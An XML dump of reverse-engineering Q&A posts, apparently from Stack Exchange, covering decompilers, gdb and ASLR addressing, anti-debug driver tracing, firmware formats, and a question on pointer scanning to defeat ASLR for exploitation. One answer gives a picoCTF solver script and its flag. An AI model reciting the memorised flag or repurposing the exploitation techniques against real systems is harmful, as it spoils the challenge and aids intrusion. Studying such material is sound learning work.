  <row Id="21325" PostTypeId="2" ParentId="18170" CreationDate="2019-05-17T08:21:33.633" Score="2" Body="&lt;p&gt;GDA: supports APK, DEX, ODEX and OAT files. A Dalvik bytecode decompiler was written entirely in c++. So, unlike most app analysis tools, GDA does not need to rely on the Java platform, And as the use of the Bytecode directly translated into Java code without Smali code translation. So it is more succinct, more portable and faster. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/charles2gan/GDA-android-reversing-Tool&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/charles2gan/GDA-android-reversing-Tool&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28443" LastActivityDate="2019-05-17T08:21:33.633" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21326" PostTypeId="2" ParentId="6922" CreationDate="2019-05-17T13:24:26.943" Score="6" Body="&lt;p&gt;As an (2019) addition to all the other answers:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try &lt;a href=&quot;https://en.wikipedia.org/wiki/Ghidra&quot; rel=&quot;noreferrer&quot;&gt;Ghidra&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is the Software Reverse Engineering (SRE) suit of the NSA and it's free and open source. It was leaked as part of Wikileaks' &lt;a href=&quot;https://en.wikipedia.org/wiki/Vault_7&quot; rel=&quot;noreferrer&quot;&gt;&quot;Vault 7&quot;&lt;/a&gt; but the NSA decided to release it and they published it as open source software. It's written in Java and is cross platform, supporting Windows, Linux and MacOS.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://ghidra-sre.org/&quot; rel=&quot;noreferrer&quot;&gt;Official Website&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra&quot; rel=&quot;noreferrer&quot;&gt;Source Code&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="22318" LastEditorUserId="22318" LastEditDate="2019-05-24T08:23:04.743" LastActivityDate="2019-05-24T08:23:04.743" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21327" PostTypeId="2" ParentId="21272" CreationDate="2019-05-17T19:32:23.790" Score="1" Body="&lt;p&gt;You don't need Visual Studio for building. Visual Studio depends on MSBuild instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, you can try &lt;a href=&quot;https://github.com/horsicq/Detect-It-Easy&quot; rel=&quot;nofollow noreferrer&quot;&gt;Detect It Easy&lt;/a&gt;, it should give you linker version that can be paired with MSBuild version and Visual Studio version.&lt;/p&gt;&#xA;" OwnerUserId="4192" LastActivityDate="2019-05-17T19:32:23.790" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21328" PostTypeId="1" AcceptedAnswerId="21329" CreationDate="2019-05-18T01:00:14.270" Score="1" ViewCount="255" Body="&lt;p&gt;This is &lt;code&gt;be-quick-or-be-dead-1&lt;/code&gt; in &lt;code&gt;picoCTF&lt;/code&gt; challenge (&lt;a href=&quot;http://bayanbox.ir/info/7975794566083887573/be-quick-or-be-dead-1&quot; rel=&quot;nofollow noreferrer&quot;&gt;Download&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in this file we can see &lt;code&gt;decrypt_flag()&lt;/code&gt; function, this function return this flag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./be-quick-or-be-dead-1 &#xA;Calculating key...&#xA;Done calculating key&#xA;Printing flag:&#xA;picoCTF{why_bother_doing_unnecessary_computation_fedbb737}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i wanted to implement this function with python, and i wrote this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;key=[0x2c,0x97,0xa5,0xe9]&#xA;i=0&#xA;flag=[0x5c,0xfe,0xc6,0x86,0x6e,0xc3,0xe3,0x92,0x59,0xff,0xdc,0xb6,0x4d,0xf8,0xd1,0x81,0x55,0xe5,0xfa,0x8d,0x5e,0xfe,0xcb,0x8e,0x6d,0xe2,0xcb,0x87,0x56,0xf4,0xc0,0x9a,0x47,0xf6,0xd7,0x90,0x6a,0xf4,0xca,0x84,0x46,0xe2,0xd1,0x88,0x43,0xfe,0xca,0x87,0x67,0xf1,0xc0,0x8d,0x5b,0xf5,0x92,0xda,0x0d,0xea]&#xA;while i &amp;lt; 58 :&#xA;    flag[i] = chr(flag[i] ^ key[(i&amp;amp;3)])&#xA;    i=i+1&#xA;&#xA;print &quot;&quot;.join(flag)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but when i run it, print wrong flag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;picoBTF{uhy_aothyr_dringAunnzceskaryFcomjutaoionKfedwb73!}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;what is my problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank you&lt;/p&gt;&#xA;" OwnerUserId="17915" LastActivityDate="2019-05-18T05:29:18.797" Title="picoCTF be-quick-or-be-dead-1 dcrypt simulation with python" Tags="|decryption|python|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21329" PostTypeId="2" ParentId="21328" CreationDate="2019-05-18T05:29:18.797" Score="2" Body="&lt;p&gt;Your solution script is missing one vital part. if you look at the disassembly you could notice such part&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x004006ee      8b45ec         mov eax, dword [var_14h]&#xA;0x004006f1      83c001         add eax, 1&#xA;0x004006f4      8945ec         mov dword [var_14h], eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;var_14h&lt;/code&gt; the key is located so that this part is modifying the first entry in the &lt;code&gt;key&lt;/code&gt; every time the algorithm loops over it (you can check few lines above those ones). &#xA;You could modify your script like this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;➜  picoCTF cat solv.py &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;key=[0x2c,0x97,0xa5,0xe9]&#xA;i=0&#xA;flag=  [0x5c,0xfe,0xc6,0x86,0x6e,0xc3,0xe3,0x92,0x59,0xff,0xdc,0xb6,0x4d,0xf8,0xd1,0x81,0x55,0xe5,0xfa,0x8d,0x5e,0xfe,0xcb,0x8e,0x6d,0xe2,0xcb,0x87,0x56,0xf4,0xc0,0x9a,0x47,0xf6,0xd7,0x90,0x6a,0xf4,0xca,0x84,0x46,0xe2,0xd1,0x88,0x43,0xfe,0xca,0x87,0x67,0xf1,0xc0,0x8d,0x5b,0xf5,0x92,0xda,0x0d,0xea]&#xA;while i &amp;lt; 58 :&#xA;    flag[i] = chr(flag[i] ^ key[(i&amp;amp;3)])&#xA;    if i&amp;amp;3 == 0:&#xA;        key[0] = key[0] + 1&#xA;    i=i+1&#xA;&#xA;print &quot;&quot;.join(flag)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;➜  picoCTF python solv.py &lt;br&gt;&#xA;  picoCTF{why_bother_doing_unnecessary_computation_fedbb737}&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2019-05-18T05:29:18.797" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21330" PostTypeId="1" CreationDate="2019-05-18T06:58:46.180" Score="3" ViewCount="628" Body="&lt;p&gt;Let's suppose there is a memory region that is m'mapped in memory, we need to find its address (which randomly changes, because of ASLR) by following a pointer path, basically, I'm trying to find a possibly multilevel pointer that leads to any address in that memory region, and that starts from an address in a memory region I choose, is that possible to do with gdb? I've checked out the popular gdb extensions (peda, pwndbg), but didn't find such a feature, if there is no existing implementation, any tips on how to optimize the search? Kind of like the Pointer Scanner of Cheat Engine, pointers can also have offsets (for example : main_module+3170 -&gt; 0x7fff42dc7220 ; 0x7fff42dc7220+10 -&gt; 0x7ff464213460 ; 0x7ff464213460 -&gt; address wanted).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would be useful for example in a context where we have a write-what-where condition (we can write or read anywhere in memory), and we need to defeat ASLR to find interesting memory regions (for example, JIT buffers in browsers).&lt;/p&gt;&#xA;" OwnerUserId="28449" LastEditorUserId="28449" LastEditDate="2019-05-18T16:56:25.100" LastActivityDate="2024-02-29T23:07:35.923" Title="gdb - searching for pointers to a given memory region" Tags="|debugging|gdb|exploit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21332" PostTypeId="1" AcceptedAnswerId="21570" CreationDate="2019-05-18T14:20:04.537" Score="3" ViewCount="808" Body="&lt;p&gt;I recently started reading a book about reverse engineering. In one of the examples it uses gdb (debugger) to disassemble the main. So I did it, and the output is below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) disass main&#xA;Dump of assembler code for function main:&#xA;   0x0000118d &amp;lt;+0&amp;gt;: lea    ecx,[esp+0x4]&#xA;   0x00001191 &amp;lt;+4&amp;gt;: and    esp,0xfffffff0&#xA;   0x00001194 &amp;lt;+7&amp;gt;: push   DWORD PTR [ecx-0x4]&#xA;   0x00001197 &amp;lt;+10&amp;gt;:    push   ebp&#xA;   0x00001198 &amp;lt;+11&amp;gt;:    mov    ebp,esp&#xA;   0x0000119a &amp;lt;+13&amp;gt;:    push   ebx&#xA;   0x0000119b &amp;lt;+14&amp;gt;:    push   ecx&#xA;   0x0000119c &amp;lt;+15&amp;gt;:    sub    esp,0x10&#xA;   0x0000119f &amp;lt;+18&amp;gt;:    call   0x1090 &amp;lt;__x86.get_pc_thunk.bx&amp;gt;&#xA;   0x000011a4 &amp;lt;+23&amp;gt;:    add    ebx,0x2e5c&#xA;   0x000011aa &amp;lt;+29&amp;gt;:    mov    DWORD PTR [ebp-0xc],0x0&#xA;   0x000011b1 &amp;lt;+36&amp;gt;:    jmp    0x11c9 &amp;lt;main+60&amp;gt;&#xA;   0x000011b3 &amp;lt;+38&amp;gt;:    sub    esp,0xc&#xA;   0x000011b6 &amp;lt;+41&amp;gt;:    lea    eax,[ebx-0x1ff8]&#xA;   0x000011bc &amp;lt;+47&amp;gt;:    push   eax&#xA;   0x000011bd &amp;lt;+48&amp;gt;:    call   0x1030 &amp;lt;puts@plt&amp;gt;&#xA;   0x000011c2 &amp;lt;+53&amp;gt;:    add    esp,0x10&#xA;   0x000011c5 &amp;lt;+56&amp;gt;:    add    DWORD PTR [ebp-0xc],0x1&#xA;   0x000011c9 &amp;lt;+60&amp;gt;:    cmp    DWORD PTR [ebp-0xc],0x9&#xA;   0x000011cd &amp;lt;+64&amp;gt;:    jle    0x11b3 &amp;lt;main+38&amp;gt;&#xA;--Type &amp;lt;RET&amp;gt; for more, q to quit, c to continue without paging--&#xA;   0x000011cf &amp;lt;+66&amp;gt;:    mov    eax,0x0&#xA;   0x000011d4 &amp;lt;+71&amp;gt;:    lea    esp,[ebp-0x8]&#xA;   0x000011d7 &amp;lt;+74&amp;gt;:    pop    ecx&#xA;   0x000011d8 &amp;lt;+75&amp;gt;:    pop    ebx&#xA;   0x000011d9 &amp;lt;+76&amp;gt;:    pop    ebp&#xA;   0x000011da &amp;lt;+77&amp;gt;:    lea    esp,[ecx-0x4]&#xA;   0x000011dd &amp;lt;+80&amp;gt;:    ret    &#xA;End of assembler dump.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And now I put a breakpoint at main to check the eip register value and compare it with address at main function as shown below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) info register eip&#xA;eip            0x565561aa          0x565561aa &amp;lt;main+29&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here comes the problem, eip register value is not matching with the address at main in my case (shown below),&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x000011aa &amp;lt;+29&amp;gt;:   mov    DWORD PTR [ebp-0xc],0x0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;whereas in the example it was mentioned that it will match. Please help me in solving this. Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt; : examining instruction at eip , address matches with eip but not with address in the memory dumb shown above&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) x/i $eip&#xA;=&amp;gt; 0x565561aa &amp;lt;main+29&amp;gt;:    mov    DWORD PTR [ebp-0xc],0x0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28453" LastEditorUserId="28453" LastEditDate="2019-05-18T15:02:04.597" LastActivityDate="2019-09-01T13:43:30.210" Title="eip register address not matching with address at breakpoint (breakpoint set at main function)" Tags="|disassembly|debugging|gdb|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21333" PostTypeId="1" CreationDate="2019-05-19T08:12:19.293" Score="0" ViewCount="242" Body="&lt;p&gt;Is it possible somehow to set reverse proxy for a windows application (e.g. by creating a wrapper launcher for this application) that will proxify all HTTP/S requests of this application? &lt;/p&gt;&#xA;" OwnerUserId="21751" LastActivityDate="2019-05-19T08:12:19.293" Title="Is it possible to proxify custom windows application without installing any additional software (programatically)" Tags="|proxy|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="21334" PostTypeId="1" CreationDate="2019-05-19T15:28:32.023" Score="2" ViewCount="866" Body="&lt;p&gt;I'm trying to analyze some Windows kernel driver. What I want to achieve is full execution trace, from driver entry to end point. Driver is heavily virtualized and contains multiple anti-debugging checks so using WinDbg isn't an option. I have tried VMWare gdb stub connected with IDA but tracing seems to doesn't work, it hangs and even few hours aren't enough. Have you any ideas how to do it in the simplest way?&lt;/p&gt;&#xA;" OwnerUserId="26916" LastActivityDate="2022-03-07T10:06:50.560" Title="Analyzing Windows kernel driver" Tags="|ida|windows|debugging|windbg|kernel|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21338" PostTypeId="1" CreationDate="2019-05-20T20:01:39.810" Score="1" ViewCount="392" Body="&lt;p&gt;While dynamic debugging with ida and gdb-server on binary file running on linux , I saw address that store some value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I know if this address allocated in stack or in heap?&lt;/p&gt;&#xA;" OwnerUserId="23993" LastActivityDate="2019-05-21T21:09:11.430" Title="Find out if address store in heap or stack" Tags="|ida|linux|gdb|stack|heap|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21341" PostTypeId="1" AcceptedAnswerId="21366" CreationDate="2019-05-21T11:10:47.010" Score="2" ViewCount="882" Body="&lt;p&gt;I'm reversing a 32bit binary for a challenge I got at a college lab and I'm having a hard time trying to understand the intent of the asm code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The binary is a 10 level reversing game where you get no info at the start and have to figure out everything on your way on building a flag at the end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically it uses a lot of encryption techniques to derive strings from integer values (as far as I got). I figured out some of the imports it uses like &lt;code&gt;LoadLibraryA&lt;/code&gt;, &lt;code&gt;GetProcAddress&lt;/code&gt; (I guess it uses them later on somehow). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where I'm currently stuck is the asm code calls &lt;code&gt;GetProcAddress&lt;/code&gt; with &lt;code&gt;kernel32.dll&lt;/code&gt; handle as the first argument and &lt;code&gt;0&lt;/code&gt;( or &lt;code&gt;NULL&lt;/code&gt; I guess ) as the second argument. The return I get is then used to make some integer division. My problem is that I get &lt;code&gt;NULL&lt;/code&gt; from the &lt;code&gt;GetProcAddress&lt;/code&gt; call and then when hitting the &lt;code&gt;idiv&lt;/code&gt;, I get a Division By 0 Exception thrown. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a picture: &lt;a href=&quot;https://i.stack.imgur.com/99GSs.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/99GSs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On &lt;code&gt;0x00401A85&lt;/code&gt; &lt;code&gt;eax&lt;/code&gt; is &lt;code&gt;0&lt;/code&gt;(&lt;code&gt;NULL&lt;/code&gt;). Any ideas on how to solve this? What's the idea behind passing &lt;code&gt;0&lt;/code&gt;(&lt;code&gt;NULL&lt;/code&gt;) as the second parameter?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="28475" LastEditorUserId="28475" LastEditDate="2019-05-21T11:37:34.467" LastActivityDate="2019-05-26T18:34:03.120" Title="GetProcAddress with 0 as lpProcName" Tags="|ida|binary-analysis|pe32|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21342" PostTypeId="1" AcceptedAnswerId="21350" CreationDate="2019-05-21T11:15:30.167" Score="2" ViewCount="605" Body="&lt;p&gt;Inside a internet radio firmware file I found a file system, and I don't know which one it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I know:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;(The first two bytes are &lt;code&gt;0A 4C&lt;/code&gt; (maybe magic byte))&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;they are actually not part of the file system data&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Now 4 bytes with the length of the index&lt;/li&gt;&#xA;&lt;li&gt;Entries in the index begin with a type of 1 byte:&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;type &lt;code&gt;00&lt;/code&gt;: File&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;1 byte file name length&lt;/li&gt;&#xA;&lt;li&gt;x bytes with the file name&lt;/li&gt;&#xA;&lt;li&gt;4 bytes file length&lt;/li&gt;&#xA;&lt;li&gt;4 bytes offset of the data in the file system&lt;/li&gt;&#xA;&lt;li&gt;4 bytes (unknown usage)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;type &lt;code&gt;01&lt;/code&gt;: Folder&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;1 byte folder name length&lt;/li&gt;&#xA;&lt;li&gt;x bytes with the folder name (root folder name is 0 bytes)&lt;/li&gt;&#xA;&lt;li&gt;1 byte: number of entries/files in that folder&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;All offsets and lengths are little endian.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What file system could that be? I don't think that the developers built their own file system.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The firmware file is from &lt;code&gt;http://update.wifiradiofrontier.com/Update.aspx?c=ir-mmi-FS2026-0500-0052&amp;amp;m=1122334455&amp;amp;v=2.6.17.EX53300-2RC3&amp;amp;t=Cust-File&amp;amp;n=2.11.12.EX65933-4RC2&amp;amp;f=/updates/ir-mmi-FS2026-0500-0052.2.11.12.EX65933-4RC2.isu.bin&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;binwalk&lt;/code&gt; does not detect the filesystem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file system I mean starts at &lt;code&gt;0x1dc1e6&lt;/code&gt;. I already &lt;a href=&quot;http://cweiske.de/tagebuch/frontier-firmware-fsh1.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;wrote a working parser&lt;/a&gt; for that file system, but I'd like to know if that is a known fs type.&lt;/p&gt;&#xA;" OwnerUserId="28362" LastEditorUserId="28362" LastEditDate="2019-05-23T09:14:37.313" LastActivityDate="2019-05-23T09:14:37.313" Title="Which file system is this? file type 0x00, folder type 0x01" Tags="|binary-analysis|file-format|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21343" PostTypeId="2" ParentId="21341" CreationDate="2019-05-21T13:37:53.753" Score="1" Body="&lt;p&gt;According to &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/desktop/api/libloaderapi/nf-libloaderapi-getprocaddress&quot; rel=&quot;nofollow noreferrer&quot;&gt;Microsoft Docs: GetProcAddress&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;lpProcName&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;The function or variable name, or the function's ordinal value. If&#xA;  this parameter is an &lt;strong&gt;ordinal value&lt;/strong&gt;, it must be in the low-order&#xA;  word; the high-order word must be zero.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here the second parameter is an &lt;em&gt;ordinal value&lt;/em&gt;. This may be done intentionally to hide the function name that the program imports. According to &lt;a href=&quot;https://en.wikipedia.org/wiki/Dynamic-link_library&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia: DLL&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Each function exported by a DLL is identified by a numeric ordinal and&#xA;  optionally a name. Likewise, functions can be imported from a DLL&#xA;  either by ordinal or by name. The ordinal represents the position of&#xA;  the function's address pointer in the DLL Export Address table. It is&#xA;  common for &lt;strong&gt;internal functions&lt;/strong&gt; to be exported by ordinal only. For&#xA;  most Windows API functions only the names are preserved across&#xA;  different Windows releases; the ordinals are &lt;strong&gt;subject to change&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;To get the function name first see the DLL file name in &lt;code&gt;LoadLibrary()&lt;/code&gt; or &lt;code&gt;LoadLibraryEx()&lt;/code&gt;. Open that DLL in IDA. Go to View Menu &gt; Open subviews &gt; Exports. Or use &lt;code&gt;dumpbin /exports mydll.dll&lt;/code&gt; command to list all the exported functions and their corresponding ordinals. See &lt;a href=&quot;https://docs.microsoft.com/en-us/cpp/build/reference/dumpbin-reference&quot; rel=&quot;nofollow noreferrer&quot;&gt;dumpbin reference&lt;/a&gt; for further details. &lt;/p&gt;&#xA;&#xA;&#xA;" OwnerUserId="23069" LastActivityDate="2019-05-21T13:37:53.753" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21346" PostTypeId="1" AcceptedAnswerId="21411" CreationDate="2019-05-21T16:55:38.990" Score="3" ViewCount="1063" Body="&lt;p&gt;I got my hands on a copy of Mystic Nights, a survival horror game for the PS2 realeased exclusively in Korea.  The game's text is all in Hangeul (Korean writting system). I extracted the ISO and cracked it open in hopes of translating the game to english but i can't  figure out where the text is stored. I've located graphic files (TIM2, .TM2) nested inside of .RES files (resource files?) I was able to extract those TIM2 images with an executable i found on romhacking.net. I noticed that there are TIM2 images holding character tables for hangeul. I can't  really see any other pertinent files that may hold text besides two large binary files DATA1.BIN and DATA2.BIN. (each about 500mb in size) &#xA;If this were a japanese game, i would search the binary files for JIS encoded text... but unfortunately  that is not the case. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how i could proceed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="28483" LastActivityDate="2019-06-02T23:16:49.043" Title="Translating a Korean Exclusive PS2 game ~ hangeul encoding?" Tags="|disassembly|binary|encodings|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21348" PostTypeId="2" ParentId="21338" CreationDate="2019-05-21T21:09:11.430" Score="1" Body="&lt;p&gt;Check out the memory map in the virtual file &lt;code&gt;/proc/[pid]/maps&lt;/code&gt; (replace [pid] by the process ID of your target). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually it mentions memory ranges belonging to heap and stack. E.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; address           perms offset  dev   inode       pathname&#xA;00400000-00452000 r-xp 00000000 08:02 173521      /usr/bin/dbus-daemon&#xA;00651000-00652000 r--p 00051000 08:02 173521      /usr/bin/dbus-daemon&#xA;00652000-00655000 rw-p 00052000 08:02 173521      /usr/bin/dbus-daemon&#xA;00e03000-00e24000 rw-p 00000000 00:00 0           [heap]&#xA;00e24000-011f7000 rw-p 00000000 00:00 0           [heap]&#xA;...&#xA;35b1800000-35b1820000 r-xp 00000000 08:02 135522  /usr/lib64/ld-2.15.so&#xA;35b1a1f000-35b1a20000 r--p 0001f000 08:02 135522  /usr/lib64/ld-2.15.so&#xA;35b1a20000-35b1a21000 rw-p 00020000 08:02 135522  /usr/lib64/ld-2.15.so&#xA;35b1a21000-35b1a22000 rw-p 00000000 00:00 0&#xA;35b1c00000-35b1dac000 r-xp 00000000 08:02 135870  /usr/lib64/libc-2.15.so&#xA;35b1dac000-35b1fac000 ---p 001ac000 08:02 135870  /usr/lib64/libc-2.15.so&#xA;35b1fac000-35b1fb0000 r--p 001ac000 08:02 135870  /usr/lib64/libc-2.15.so&#xA;35b1fb0000-35b1fb2000 rw-p 001b0000 08:02 135870  /usr/lib64/libc-2.15.so&#xA;...&#xA;f2c6ff8c000-7f2c7078c000 rw-p 00000000 00:00 0    [stack:986]&#xA;...&#xA;7fffb2c0d000-7fffb2c2e000 rw-p 00000000 00:00 0   [stack]&#xA;7fffb2d48000-7fffb2d49000 r-xp 00000000 00:00 0   [vdso]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(from &lt;a href=&quot;http://man7.org/linux/man-pages/man5/proc.5.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;man proc&lt;/code&gt;)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that addresses may change on every run due to ASLR. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-05-21T21:09:11.430" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21349" PostTypeId="2" ParentId="21334" CreationDate="2019-05-21T21:15:50.353" Score="1" Body="&lt;p&gt;It’s not geared towards exactly this purpose but you can probably make something based on &lt;a href=&quot;https://github.com/googleprojectzero/bochspwn-reloaded&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bochspwn&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Bochspwn Reloaded is an instrumentation module for the Bochs IA-32 emulator, similar to the original Bochspwn project from 2013. It performs taint tracking of the kernel address space of the guest operating systems, to detect the disclosure of uninitialized kernel stack/heap memory to user-mode and other data sinks.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-05-21T21:15:50.353" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21350" PostTypeId="2" ParentId="21342" CreationDate="2019-05-21T21:20:09.810" Score="0" Body="&lt;p&gt;It does not sound like a well-known file system. Probably it is just something custom the programmers came up with for this project. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-05-21T21:20:09.810" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21351" PostTypeId="2" ParentId="21346" CreationDate="2019-05-22T08:44:25.413" Score="3" Body="&lt;p&gt;I would try &lt;a href=&quot;https://en.wikipedia.org/wiki/CP949&quot; rel=&quot;nofollow noreferrer&quot;&gt;CP949&lt;/a&gt;. Of course, this assumes that text data is not packed or encoded, which can happen too. Maybe try dumping/searching the &lt;strong&gt;emulator&lt;/strong&gt; process memory at runtime (add UTF-16 too in that case), then try to track down how it appears there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt; I missed originally that the game is for PS2. In that case UTF-8 is unlikely, as well as plain text data in the emulator memory. In fact, they might  compose glyphs manually without using a standard encoding, or just store all text as images (I noticed that this is quite common on Korean websites). Still, tracking and manipulating the game’s memory in the emulator process should allow you to find the data (be it text or graphical). For example, check out this write up on extracting 3D models via emulator process tracking:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://suxin.space/notes/cw-reverse-engineering-models/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://suxin.space/notes/cw-reverse-engineering-models/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2019-05-22T20:15:12.200" LastActivityDate="2019-05-22T20:15:12.200" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
